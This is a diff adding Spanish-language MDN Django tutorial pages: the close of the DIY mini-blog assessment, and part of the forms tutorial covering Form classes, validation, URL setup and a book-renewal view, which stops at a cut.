display: block; height: 385px; margin: 0px auto; width: 778px;"></p> + +<h3 id="Author_bio">Author bio</h3> + +<p>This displays bio information for a blogger along with their blog posts list.</p> + +<p><img alt="Blogger detail page" src="https://mdn.mozillademos.org/files/14327/diyblog_blogger_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 379px; margin: 0px auto; width: 982px;"></p> + +<h2 id="Steps_to_complete">Steps to complete</h2> + +<p>The following sections describe what you need to do.</p> + +<ol> + <li>Create a skeleton project and web application for the site (as described in <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>). You might use 'diyblog' for the project name and 'blog' for the application name.</li> + <li>Create models for the Blog posts, Comments, and any other objects needed. When thinking about your design, remember: + <ul> + <li>Each comment will have only one blog, but a blog may have many comments.</li> + <li>Blog posts and comments must be sorted by post date.</li> + <li>Not every user will necessarily be a blog author though any user may be a commenter.</li> + <li>Blog authors must also include bio information.</li> + </ul> + </li> + <li>Run migrations for your new models and create a superuser.</li> + <li>Use the admin site to create some example blog posts and blog comments.</li> + <li>Create views, templates, and URL configurations for blog post and blogger list pages.</li> + <li>Create views, templates, and URL configurations for blog post and blogger detail pages.</li> + <li>Create a page with a form for adding new comments (remember to make this only available to logged in users!)</li> +</ol> + +<h2 id="Hints_and_tips">Hints and tips</h2> + +<p>This project is very similar to the <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> tutorial. You will be able to set up the skeleton, user login/logout behaviour, support for static files, views, URLs, forms, base templates and admin site configuration using almost all the same approaches.</p> + +<p>Some general hints:</p> + +<ol> + <li>The index page can be implemented as a basic function view and template (just like for the locallibrary).</li> + <li>The list view for blog posts and bloggers, and the detail view for blog posts can be created using the <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">generic list and detail views</a>.</li> + <li>The list of blog posts for a particular author can be created by using a generic list Blog list view and filtering for blog object that match the specified author. + <ul> + <li>You will have to implement <code>get_queryset(self)</code> to do the filtering (much like in our library class <code>LoanedBooksAllListView</code>) and get the author information from the URL.</li> + <li>You will also need to pass the name of the author to the page in the context. To do this in a class-based view you need to implement <code>get_context_data()</code> (discussed below).</li> + </ul> + </li> + <li>The <em>add comment</em> form can be created using a function-based view (and associated model and form) or using a generic <code>CreateView</code>. If you use a <code>CreateView</code> (recommended) then: + <ul> + <li>You will also need to pass the name of the blog post to the comment page in the context (implement <code>get_context_data()</code> as discussed below).</li> + <li>The form should only display the comment "description" for user entry (date and associated blog post should not be editable). Since they won't be in the form itself, your code will need to set the comment's author in the<code> form_valid()</code> function so it can be saved into the model (<a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/#models-and-request-user">as described here</a> — Django docs). In that same function we set the associated blog. A possible implementation is shown below (<code>pk</code> is a blog id passed in from the URL/URL configuration). + <pre class="brush: python"> def form_valid(self, form): + """ + Add author and associated blog to form data before setting it as valid (so it is saved to model) + """ + #Add logged-in user as author of comment + form.instance.author = self.request.user + #Associate comment with blog based on passed id + form.instance.blog=get_object_or_404(Blog, pk = self.kwargs['pk']) + # Call super-class form validation behaviour + return super(BlogCommentCreate, self).form_valid(form) +</pre> + </li> + <li>You will need to provide a success URL to redirect to after the form validates; this should be the original blog. To do this you will need to override <code>get_success_url()</code> and "reverse" the URL for the original blog. You can get the required blog ID using the <code>self.kwargs</code> attribute, as shown in the <code>form_valid()</code> method above.</li> + </ul> + </li> +</ol> + +<p>We briefly talked about passing a context to the template in a class-based view in the <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django Tutorial Part 6: Generic list and detail views</a> topic. To do this you need to override <code>get_queryset()</code> (first getting the existing context, updating it with whatever additional variables you want to pass to the template, and then returning the updated context. For example, the code fragment below shows how you can add a blogger object to the context based on their <code>BlogAuthor</code> id.</p> + +<pre class="brush: python">class SomeView(generic.ListView): + ... + + def get_context_data(self, **kwargs): + # Call the base implementation first to get a context + context = super(SomeView, self).get_context_data(**kwargs) + # Get the blogger object from the "pk" URL parameter and add it to the context + context['blogger'] = get_object_or_404(BlogAuthor, pk = self.kwargs['pk']) + return context +</pre> + +<h2 id="Assessment">Assessment</h2> + +<p>The assessment for this task is <a href="https://github.com/mdn/django-diy-blog/blob/master/MarkingGuide.md">available on Github here</a>. This assessment is primarily based on how well your application meets the requirements we listed above, though there are some parts of the assessment that check your code uses appropriate models, and that you have written at least some test code. When you're done, you can check out our <a href="https://github.com/mdn/django-diy-blog">the finished example</a> which reflects a "full marks" project.</p> + +<p>Once you've completed this module you've also finished all the MDN content for learning basic Django server-side website programming! We hope you enjoyed this module and feel you have a good grasp of the basics!</p> + +<p>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="En_este_modulo">En este modulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/forms/index.html b/files/es/learn/server-side/django/forms/index.html new file mode 100644 index 0000000000..4160e537b6 --- /dev/null +++ b/files/es/learn/server-side/django/forms/index.html @@ -0,0 +1,661 @@ +--- +title: 'Tutorial de Django Parte 9: Trabajo con formularios' +slug: Learn/Server-side/Django/Forms +translation_of: Learn/Server-side/Django/Forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div> + +<p class="summary">En este tutorial te mostraremos cómo trabajar con Formularios HTML en Django, y en particular, la forma más fácil de escribir formularios para crear, actualizar y borrar instancias de modelo. Como parte de esta demostración extenderemos el sitio web <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> de manera que los bibliotecarios puedan renovar libros, y crear, actualizar y borrar autores utilizando nuestros propios formularios (en vez de utilizar la aplicación de administración).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Requisitos previos:</th> + <td>Completar todos los temas de tutoriales anteriores, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Tutorial Django Parte 8: Autenticación y permisos de usuarios</a>.</td> + </tr> + <tr> + <th scope="row">Objectivo:</th> + <td>Comprender como escribir formularios para obtener informacion de los usuarios y actualizar la base de datos. Comprender cómo las vistas de edición basadas en clase genérica pueden simplificar enormemente la creación de formularios trabajando con un solo modelo.</td> + </tr> + </tbody> +</table> + +<h2 id="Visión_General">Visión General</h2> + +<p>Un <a href="/en-US/docs/Web/Guide/HTML/Forms">Formulario HTML </a>es un conjunto de uno o más campos/widgets en una página web, que pueden ser usados para recolectar información de los usuarios para el envío a un servidor. Los formularios son un mecanismo flexible para recolectar datos de entrada porque <span id="result_box" lang="es"><span>son widgets adecuados para ingresar diferentes tipos de datos, incluyendo campos de texto, checkboxes, radio buttons, selector de fechas, etc. Los formularios son también una forma relativamente segura de compartir datos con el servidor, ya que permiten enviar información en peticiones </span></span><code>POST</code> <span class="short_text" id="result_box" lang="es"><span>con protección de falsificación de solicitud entre sitios.</span></span></p> + +<p>Si bien nosotros aún no hemos creado ningún formulario en este tutorial todavia, ya lo hemos encontrado en el sitio de administración de Django; por ejemplo, la captura de pantalla de abajo muestra un formulario para editar uno de nuestros modelos de <a href="/en-US/docs/Learn/Server-side/Django/Models">Libro</a>, compuesto de un número de listas de selección y editores de texto.</p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>Trabajar con formularios puede ser complicado! Los desarrolladores deben de escribir código HTML para el formulario, validar y adecuadamente limpiar los datos ingresados en el servidor (y posiblemente también en el browser o navegador), volver a publicar el formulario con mensajes de error para informar a los usuarios de cualquier campo invalido, manejar los datos cuando hayan sido enviados exitosamente y finalmente, responder al usuario de alguna manera, para indicar el éxito de la operación. Django Forms elimina mucho del trabajo de todos estos pasos, al proporcionar un marco de trabajo que le permite definir formularios y sus campos a travéz de programación y luego, utilizar estos objetos para generar el código HTML del formulario y manejar gran parte de la validación y la interacción del usuario.</p> + +<p>En este tutorial vamos a mostrarle algunas de las formas de crear y trabajar con formularios y en particular, cómo las vistas genéricas de edición de formularios pueden significativamente reducir la cantidad del trabajo necesario para crear formularios para manejar sus modelos. En el camino iremos extendiendo nuestra aplicación <em>LocalLibrary</em> por agregar un formulario para permitir a los bibliotecarios renovar libros de la biblioteca y crearemos páginas para crear, editar o eliminar libros y autores (reproduciendo una versión básica del formulario mostrado arriba para editar libros).</p> + +<h2 id="Formularios_HTML">Formularios HTML</h2> + +<p>Primero, una breve revisión de <a href="/en-US/docs/Learn/HTML/Forms">Formularios HTML</a>. Considere un simple formulario HTML, con un solo campo de texto para entrar el nombre de algun "equipo" y su etiqueta asociada:</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>El formulario es definido en HTML como una colección de elementos dentro de las etiquetas <code><form>...</form></code>, conteniendo por lo menos un elemento de entrada - <code>input</code> de tipo enviar - <code>type="submit"</code>.</p> + +<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> + <label for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form></pre> + +<p>Si bien acá solo tenemos un campo de texto para ingresar el nombre del equipo, un formulario puede tener cualquier número de otros elementos de entrada y sus etiquetas asociadas. El tipo del atributo del campo - <code>type</code> define que clase de widget será mostrado. El nombre - <code>name</code> y el identificador - <code>id</code> del campo son usados para identificar el campo en JavaScript/CSS/HTML, mientrras que el valor - <code>value</code> define el valor inicial para el campo cuando este se muestra por primera vez. La etiqueta del equipo correspondiente es especificada utilizando la etiqueta - <code style="font-style: normal; font-weight: normal;">label</code> (consulte "Enter name" arriba), con un campo <code style="font-style: normal; font-weight: normal;">for</code> que contiene el valor de identificación <code style="font-style: normal; font-weight: normal;">id</code> de la entrada asociada <code style="font-style: normal; font-weight: normal;">input</code>.</p> + +<p>La entrada de envío - <code>submit</code> se mostrará como un botón (de forma predeterminada) que el usuario puede presionar para cargar los datos en todos los demás elementos de entrada en el formulario al servidor (en este caso, solo el nombre del equipo - <code>team_name</code>). Los atributos del formulario definen el metodo - <code>method</code> de HTTP usado para enviar los datos y el destino de los datos al servidor (<code>action</code>):</p> + +<ul> + <li><code>action</code>: El recurso URL - resource/URL donde los datos serán enviados para su procesamiento cuando se envíe el formulario. Si esto no se establece (o se deja como una cadena vacía), entonces el formulario será enviado de regreso al URL de la página actual.</li> + <li><code>method</code>: El método utilizado por HTTP para enviar los datos: <em>post</em> o <em>get</em>. + <ul> + <li>El método <code>POST</code> siempre debe usarse si los datos enviados van a resultar en un cambio en la base de datos del servidor porque esto puede ser mas resistente a un ataque de solicitud de falsificación entre sitios (cross-site forgery request attacks).</li> + <li>El método <code>GET</code> unicamente debe usarse para cuando los formularios no cambian datos de usuario (por ejemplo, un formulario de búsqueda). También, este es recomendado para cuando desee guardar, marcar o compartir el URL.</li> + </ul> + </li> +</ul> + +<p>El rol del servidor es primero procesar el estado inicial del formulario ya sea conteniendo campos en blanco o completados previamente con valores inciales. Después de que el usuario presiona el botón de Enviar, el servidor recibirá los datos del formulario con valores del navegador web y deberá validar la información. Si el formulario contiene datos inválidos, el servidor deberá desplegar el formulario de nuevo, esta vez con datos ingresados por el usuario en campos "válidos" y mensajes para describir el problema en los campos con valor inválidos. Una vez el servidor recibe una petición con todos los datos de formulario válidos, este puede realizar una acción apropiada (por ejemplo, guardando los datos, regresando el resultado de una búsqueda, cargando un archivo, etc.) y luego notificar al usuario.</p> + +<p>Como puede imaginar, crear el código HTML, validar los datos retornados, redesplegar los datos ingresados con errores reportados si fuera necesario y realizar las operaciones deseadas sobre los datos válidos puede todo tomar bastante esfuerzo para "hacerlo bien". Django hace esto mucho más fácil por quitar parte del trabajo pesado y código repetitivo!</p> + +<h2 id="Proceso_del_manejo_de_formularios_de_Django">Proceso del manejo de formularios de Django</h2> + +<p>El manejo de formularios de Django utiliza las mismas técnicas que aprendimos en tutoriales anteriores (para mostrar información sobre nuestros modelos): la vista recibe una solicitud, realiza cualquier acción requerida incluyendo leer datos de los modelos, luego generar y devolver una página HTML (de una platilla, en la que pasamos un <em>contexto </em>conteniendo los datos a ser desplegados). Lo que hace las cosas más complicadas es que el servidor también necesita poder procesar los datos proporcionados por el usuario y volver a mostrar la página si hay algún error.</p> + +<p>A continuación se muestra un diagram de flujo del proceso de cómo Django maneja las solicitudes de formulario, comenzando con una solicitud de una página que contiene un formulario (mostrado en verde).</p> + +<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p> + +<p>Basado en el diagrama de anterior, las principales pasos que hace el proceso del manejo de formularios de Django son:</p> + +<ol> + <li>Mostrar el formulario predeterminado la primera vez que es solicitado por el usuario. + <ul> + <li>El formulario puede contener campos en blanco (por ejemplo, si está creando un registro nuevo), o puede estar rellenado previamente con valores iniciales (por ejemplo, si está modificando un registro o si tiene valores iniciales predeterminados útiles).</li> + <li>El formulario se conoce como no vinculado en este punto porque no esta asociado con ningún dato ingresado por el usuario (aunque pueda tener valores iniciales).</li> + </ul> + </li> + <li>Recibir datos de una solicitud de envío y vincularlo al formulario. + <ul> + <li>La vinculacion de datos al formulario significa que los datos ingresados por el usuario y cualquier error están disponibles cuando necesitamos volver a desplegar el formulario. </li> + </ul> + </li> + <li>Limpiar y validar los datos. Clean and validate the data. + <ul> + <li>La limpieza de los datos realiza una sanitización de la entrada (por ejemplo, remover caracteres no válidos que podrían ser usados para enviar contenido malicioso al servidor) y convertirlos en tipos consistente de Python.</li> + <li>La validación verifica que los valores sean apropiados para el campo (por ejemplo, que esten en el rango correcto de fechas, no sean demasiado cortos ni demasiado largos, etc.)</li> + </ul> + </li> + <li>Si algún dato es no válido, volver a mostrar el formulario, esta vez con cualquier valor rellenado por el usuario y los mensajes de error para los campos con problemas.</li> + <li>Si todos los datos son válidos, realizar las acciones requeridas (por ejemplo, guardar los datos, enviar un correo electrónico, devolver el resultado de una búsqueda, cargar un archivo, etc)</li> + <li>Una vez todas las acciones se hayan completado, redirijir al usuario a otra página</li> +</ol> + +<p>Django provee una serie de herramientas y enfoques para ayudarlo con las tareas detalladas anteriormente. La más fundamental es la clase <code>Form</code>, la cuál simplifica la generación de formularios HTML y la limpieza y validación de datos. En la siguiente sección describimos cómo funcionan los formularios usando el ejemplo práctico de una página para permitir a los bibliotecarios renovar libros.</p> + +<div class="note"> +<p><strong>Nota:</strong> Comprender como se usa la clase <code>Form</code> lo ayudará cuando analicemos las clases de marco de formulario de más "alto nivel" de Django.</p> +</div> + +<h2 id="Renew-book_form_usando_un_Form_y_la_funcion_view">Renew-book form usando un Form y la funcion view</h2> + +<p>A continuación, vamos a añadir una página que permita a los bibilotecarios renovar los libros prestados. Para hacer esto crearemos un formulario que permita a los usuarios introducir una fecha. Rellenaremos el campo con un valor inicial de 3 semanas desde la fecha actual (el periodo de préstamo normal), y añadiremos alguna validación para asegurar que el bibilotecario no pueda introducir una fecha pasada o una demasiado lejana en el futuro. Cuando se haya introducido una fecha válida, la escribiremos sobre el campo <code>BookInstance.due_back</code> del registro actual.</p> + +<p>El ejemplo utilizará una vista basada en funciones y una clase <code>Form</code>. Las próximas secciones explican como los formularios funcionan, y los cambios que necesitas realizar para continuar adelante con nuestro proyecto <em>LocalLibrary</em>.</p> + +<h3 id="Clase_Form">Clase Form</h3> + +<p>La clase Form es el corazón del sistema de manejo de formularios de Django. Especifica los campos en el formulario, su diseño, widgets de visualización, etiquetas, valores iniciales, valores válidos y (una vez validados) los mensajes de error asociados con campos no válidos. La clase también proporciona métodos para renderizarse en plantillas usando formatos predefinidos (tablas, listas, etc.) o para obtener el valor de cualquier elemento (permitiendo el renderizado manual de grano fino).</p> + +<h4 id="Declarando_un_Form">Declarando un Form</h4> + +<p>La sintaxis de declaración para un formulario es muy similar a la de declarar un modelo, y comparte los mismos tipos de campo (y algunos parámetros similares). Esto tiene sentido porque en ambos casos debemos asegurarnos de que cada campo maneja los tipos correctos de datos, está restringido a datos válidos y tiene una descripción para la visualización / documentación.</p> + +<p>Para crear un formulario (<code>Form</code>) es necesario importar la libreria f<code>orms</code>, derivada de la clase <code>Form</code>, y tambien declarar los campos del formulario. A continuación se muestra una clase de formulario muy básica para nuestro formulario de renovación de libros de la biblioteca:</p> + +<pre class="brush: python notranslate">from django import forms + +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") +</pre> + +<h4 id="Campos_del_Form">Campos del Form</h4> + +<p>En este caso, tenemos un único <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code> para ingresar la fecha de renovación que se mostrará en HTML con un valor en blanco, la etiqueta predeterminada "Fecha de renovación:" y algún texto de uso útil: "Ingrese una fecha entre ahora y 4 semanas (valor predeterminado 3 semanas)." Como no se especifica ninguno de los otros argumentos opcionales, el campo aceptará fechas utilizando los input_formats: AAAA-MM-DD (2016-11-06), MM / DD / AAAA (26/02/2016), MM / DD / AA ( 25/10/16), y se representará con el widget predeterminado: DateInput.</p> + +<p>Hay muchos otros tipos de campos de formulario, que reconocerá en gran medida por su similitud con las clases de campo de modelo equivalentes: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p> + +<p>Los argumentos que son comunes a la mayoría de los campos se enumeran a continuación (estos tienen valores predeterminados sensibles):</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Si es <code>True</code>, el campo no se puede dejar en blanco o dar un valor <code>None</code>. Los Campos son obligatorios por defecto, tambien puedes establecer <code>required=False</code> para permitir valores en blanco en el formulario.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: label es usado cuando renderizamos el campo en HTML. Si <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> no es especificado entonces Django crearía uno a partir del nombre del campo al poner en mayúscula la primera letra y reemplazar los guiones bajos por espacios (por ejemplo. <em>Renewal date</em>).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: <span class="tlid-translation translation" lang="es"><span title="">Por defecto, se muestran dos puntos después de la etiqueta</span></span> (ejemplo. Renewal date<strong>:</strong>). Este argumento le permite especificar como sufijo diferente que contiene otros caracteres.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: El valor inicial para el campo cuando es mostrado en el formulario.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: <span class="tlid-translation translation" lang="es"><span title="">El widget de visualización para usar</span></span>.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (como se ve en el ejemplo anterior): texto adicional que se puede mostrar en formularios para explicar cómo usar el campo.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Una lista de mensajes de error para el campo. Puede reemplazarlos con sus propios mensajes si es necesario.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Una lista de funciones que se invocarán en el campo cuando se valide.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: Permite la localización de la entrada de datos del formulario (consulte el enlace para obtener más información).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: El campo se muestra pero su valor no se puede editar si esto es <code>True</code>. Por defecto es <code>False</code>.</li> +</ul> + +<h4 id="Validación">Validación</h4> + +<p>Django proporciona numerosos lugares donde puede validar sus datos. La forma más fácil de validar un solo campo es anular el método <code>clean_<strong><fieldname></strong>()</code> para el campo que desea verificar. Entonces, por ejemplo, podemos validar lo ingresado <code>renewal_date</code> los valores son entre ahora y 4 semanas mediante la implementación <code>clean_<strong>renewal_date</strong>() </code>como se muestra abajo.</p> + +<pre class="brush: python notranslate">from django import forms + +<strong>from django.core.exceptions import ValidationError +from django.utils.translation import ugettext_lazy as _ +import datetime #for checking renewal date range. +</strong> +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + +<strong> def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Check date is in range librarian allowed to change (+4 weeks). + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data</strong></pre> + +<p>Hay dos cosas importantes a tener en cuenta. El primero es que obtenemos nuestros datos usando <code>self.cleaned_data['renewal_date']</code> y que devolvemos estos datos si los cambiamos o no al final de la función. Este paso nos permite "limpiar" y desinfectar los datos de entrada potencialmente insegura utilizando los validadores predeterminados, y convertirlos al tipo estándar correcto para los datos (en este caso, un objeto Python <code>datetime.datetime</code>).</p> + +<p>El segundo punto es que si un valor cae fuera de nuestro rango, elevamos un <code>ValidationError</code>, especificando el texto de error que queremos mostrar en el formulario si se ingresa un valor no válido. El ejemplo anterior también envuelve este texto en uno de las <a href="https://docs.djangoproject.com/en/1.10/topics/i18n/translation/">funciones de traduccion de Django</a> <code>ugettext_lazy()</code> (importado como <code>_()</code>), lo cual es una buena práctica si desea traducir su sitio más tarde.</p> + +<div class="note"> +<p><strong>Nota:</strong> Existen muchos otros métodos y ejemplos para validar formularios en <a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Validacion de Formularios y campos</a> (Django docs). Por ejemplo, en los casos en que tiene varios campos que dependen unos de otros, puede anular la función <a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> function y colocar un <code>ValidationError</code>.</p> +</div> + +<p>¡Eso es todo lo que necesitamos para el formulario en este ejemplo!</p> + +<h4 id="Copia_el_Formulario">Copia el Formulario</h4> + +<p>Crea y abre el archivo <strong>locallibrary/catalog/forms.py</strong> y copie el listado completo del código del bloque anterior en él.</p> + +<h3 id="Configuracion_del_URL">Configuracion del URL</h3> + +<p>Antes de crear nuestra vista, agreguemos una configuración de URL para la página de renovar libros. Copie la siguiente configuración en la parte inferior de <strong>locallibrary/catalog/urls.py</strong>.</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^book/(?P<pk>[-\w]+)/renew/$', views.renew_book_librarian, name='renew-book-librarian'), +]</pre> + +<p>La configuración de URL redirigirá las URL con el formato <strong>/catalog/book/<em><bookinstance id></em>/renew/</strong> a la función llamada <code>renew_book_librarian()</code> en <strong>views.py</strong>, y envia el id de <code>BookInstance</code> como parametro llamado <code>pk</code>.</p> + +<div class="note"> +<p><strong>Nota</strong>: Podemos nombrar nuestros datos de URL capturados "pk" como queramos, porque tenemos un control completo sobre la función de vista (no estamos usando una clase de vista de detalles genérica que espere parámetros con un nombre determinado). sin embargo <code>pk</code>, abreviatura de "primary key", es una convención razonable de usar!</p> +</div> + +<h3 id="View">View</h3> + +<p>Como se discutió en el <a href="#django_form_handling_process">proceso de manejo de formularios de Django</a> arriba, la vista debe presentar el formulario predeterminado cuando se llama por primera vez y luego volver a representarlo con mensajes de error si los datos no son válidos, o procesar los datos y redirigirlos a una nueva página si los datos son válidos. Para realizar estas diferentes acciones, la vista debe poder saber si se está llamando por primera vez para presentar el formulario predeterminado, o una vez posterior para validar los datos.</p> + +<p>Para formularios que usan una solicitud <code>POST</code> para enviar información al servidor, el patrón más común es que la vista pruebe con el tipo de solicitud <code>POST</code> (<code>if request.method == 'POST':</code>) para identificar las solicitudes de validación de formularios y <code>GET</code> (usando una condición <code>else</code> ) para identificar la solicitud de creación de formulario inicial. Si desea enviar sus datos utilizando una solicitud <code>GET</code> entonces, un enfoque típico para identificar si esta es la primera invocación de vista o posterior es leer los datos del formulario (por ejemplo, leer un valor oculto en el formulario).</p> + +<p>El proceso de renovacion de un libro escribira cambios en nuestra base de datos , entonces por convencion usaremos una peticion de tipo <code>POST</code>. El siguiente fragmento de código muestra el patrón (muy estándar) para este tipo de vista de funciones. </p> + +<pre class="brush: python notranslate">from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.core.urlresolvers import reverse +import datetime + +from .forms import RenewBookForm + +def renew_book_librarian(request, pk): + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data +<strong> if request.method == 'POST':</strong> + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + <strong>if form.is_valid():</strong> + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form. +<strong> else:</strong> + 